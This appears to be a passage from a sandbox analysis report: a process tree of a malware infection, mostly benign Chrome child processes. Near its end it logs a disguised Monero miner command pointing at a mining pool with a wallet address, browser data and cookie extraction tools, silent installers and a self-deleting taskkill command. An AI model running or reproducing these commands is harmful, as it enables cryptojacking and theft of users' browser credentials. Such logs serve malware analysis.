                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
                                                                                                                            20⤵
                                                                                                                              PID:5740
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:1
                                                                                                                              20⤵
                                                                                                                                PID:2068
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:8
                                                                                                                                20⤵
                                                                                                                                  PID:4568
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:8
                                                                                                                                  20⤵
                                                                                                                                    PID:5636
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4632 /prefetch:8
                                                                                                                                    20⤵
                                                                                                                                      PID:4808
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4696 /prefetch:8
                                                                                                                                      20⤵
                                                                                                                                        PID:6492
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4836 /prefetch:8
                                                                                                                                        20⤵
                                                                                                                                          PID:6460
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4256 /prefetch:8
                                                                                                                                          20⤵
                                                                                                                                            PID:5220
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3628 /prefetch:8
                                                                                                                                            20⤵
                                                                                                                                              PID:6324
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                                                                                                                              20⤵
                                                                                                                                                PID:6452
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6ccfa7740,0x7ff6ccfa7750,0x7ff6ccfa7760
                                                                                                                                                  21⤵
                                                                                                                                                    PID:6664
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3672 /prefetch:8
                                                                                                                                                  20⤵
                                                                                                                                                    PID:6672
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5228 /prefetch:8
                                                                                                                                                    20⤵
                                                                                                                                                      PID:4728
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4364 /prefetch:8
                                                                                                                                                      20⤵
                                                                                                                                                        PID:6524
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:8
                                                                                                                                                        20⤵
                                                                                                                                                          PID:5564
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4940 /prefetch:8
                                                                                                                                                          20⤵
                                                                                                                                                            PID:7016
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3604 /prefetch:8
                                                                                                                                                            20⤵
                                                                                                                                                              PID:5872
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4364 /prefetch:8
                                                                                                                                                              20⤵
                                                                                                                                                                PID:4232
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4916 /prefetch:8
                                                                                                                                                                20⤵
                                                                                                                                                                  PID:3768
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 /prefetch:8
                                                                                                                                                                  20⤵
                                                                                                                                                                    PID:5128
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2116 /prefetch:8
                                                                                                                                                                    20⤵
                                                                                                                                                                      PID:4996
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4512 /prefetch:8
                                                                                                                                                                      20⤵
                                                                                                                                                                        PID:2136
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3732 /prefetch:8
                                                                                                                                                                        20⤵
                                                                                                                                                                          PID:5628
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4292 /prefetch:8
                                                                                                                                                                          20⤵
                                                                                                                                                                            PID:5788
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3980 /prefetch:8
                                                                                                                                                                            20⤵
                                                                                                                                                                              PID:6048
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2140 /prefetch:8
                                                                                                                                                                              20⤵
                                                                                                                                                                                PID:2172
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:8
                                                                                                                                                                                20⤵
                                                                                                                                                                                  PID:6816
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4160 /prefetch:8
                                                                                                                                                                                  20⤵
                                                                                                                                                                                    PID:6652
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3564 /prefetch:8
                                                                                                                                                                                    20⤵
                                                                                                                                                                                      PID:6320
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4224 /prefetch:8
                                                                                                                                                                                      20⤵
                                                                                                                                                                                        PID:5192
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=924 /prefetch:8
                                                                                                                                                                                        20⤵
                                                                                                                                                                                          PID:5964
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2032 /prefetch:8
                                                                                                                                                                                          20⤵
                                                                                                                                                                                            PID:3780
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4404 /prefetch:8
                                                                                                                                                                                            20⤵
                                                                                                                                                                                              PID:6840
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
                                                                                                                                                                                              20⤵
                                                                                                                                                                                                PID:4568
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5324 /prefetch:8
                                                                                                                                                                                                20⤵
                                                                                                                                                                                                  PID:6404
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4944 /prefetch:8
                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                    PID:4728
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4396 /prefetch:8
                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                      PID:5424
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5156 /prefetch:8
                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                        PID:5416
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4316 /prefetch:8
                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                          PID:5880
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5268 /prefetch:8
                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                            PID:6828
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:8
                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                              PID:6788
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5684 /prefetch:8
                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                PID:6636
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                  PID:6416
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5940 /prefetch:8
                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                    PID:5080
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4192 /prefetch:8
                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                      PID:4012
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6072 /prefetch:8
                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                        PID:5968
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4336 /prefetch:8
                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                          PID:7132
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:1
                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                            PID:5788
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4296 /prefetch:8
                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                              PID:5184
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4572 /prefetch:8
                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                PID:5236
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5704 /prefetch:8
                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                  PID:6396
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=4544 /prefetch:2
                                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                                    PID:6436
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
                                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                                      PID:6008
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4900 /prefetch:8
                                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                                        PID:6672
                                                                                                                                                                                                                              • C:\Windows\regedit.exe
                                                                                                                                                                                                                                regedit /s chrome-set.reg
                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                • Runs .reg file with regedit
                                                                                                                                                                                                                                PID:7036
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                parse.exe -f json -b firefox
                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                  PID:7032
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                  parse.exe -f json -b chrome
                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                    PID:3660
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                    parse.exe -f json -b edge
                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                      PID:7048
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\DataFinder.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\DataFinder.exe" /Verysilent
                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                PID:4508
                                                                                                                                                                                                                                • C:\Users\Admin\Services.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Services.exe"
                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                    PID:6304
                                                                                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                      C:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth
                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                      PID:3764
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-VO981.tmp\Delta.tmp
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-VO981.tmp\Delta.tmp" /SL5="$60434,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                          PID:6172
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe" /VERYSILENT
                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                              PID:6604
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & erase C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe & exit
                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                  PID:2828
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                    taskkill /im Setup.exe /f
                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                    PID:2764
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe" /Verysilent
                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                              PID:3640
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-CTFSB.tmp\zznote.tmp
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-CTFSB.tmp\zznote.tmp" /SL5="$602AA,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe" /Verysilent
                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                  PID:4048
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-9CPJO.tmp\jg4_4jaa.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-9CPJO.tmp\jg4_4jaa.exe" /silent
                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                      PID:5380
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\hjjgaa.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\hjjgaa.exe" /Verysilent
                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                    PID:4016
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                        PID:6484
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
